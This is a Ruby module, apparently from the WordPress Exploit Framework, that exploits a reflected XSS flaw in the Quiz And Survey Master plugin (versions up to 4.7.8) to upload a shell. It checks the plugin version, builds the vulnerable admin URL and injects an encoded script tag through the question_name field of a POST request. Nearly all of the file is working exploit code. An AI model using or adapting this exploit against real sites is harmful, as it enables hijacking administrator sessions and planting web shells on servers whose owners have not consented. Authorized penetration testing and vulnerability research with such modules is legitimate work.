# frozen_string_literal: true

class Wpxf::Exploit::QuizAndSurveyMasterReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Quiz And Survey Master <= 4.7.8 Reflected XSS Shell Upload',
      author: [
        'Tom Adams', # Disclosure
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8698'],
        ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/63']
      ],
      date: 'Dec 15 2016'
    )
  end

  def check
    check_plugin_version_from_readme('quiz-master-next', '4.7.9')
  end

  def quiz_id
    @quiz_id ||= Utility::Text.rand_numeric(3)
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, "admin.php?page=mlw_quiz_options&quiz_id=#{quiz_id}")
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'question_type'       => '0',
      'question_name'       => "<script>#{xss_ascii_encoded_include_script}<\\/script>",
      'question_submission' => 'new_question',
      'quiz_id'             => quiz_id
    )
  end
end
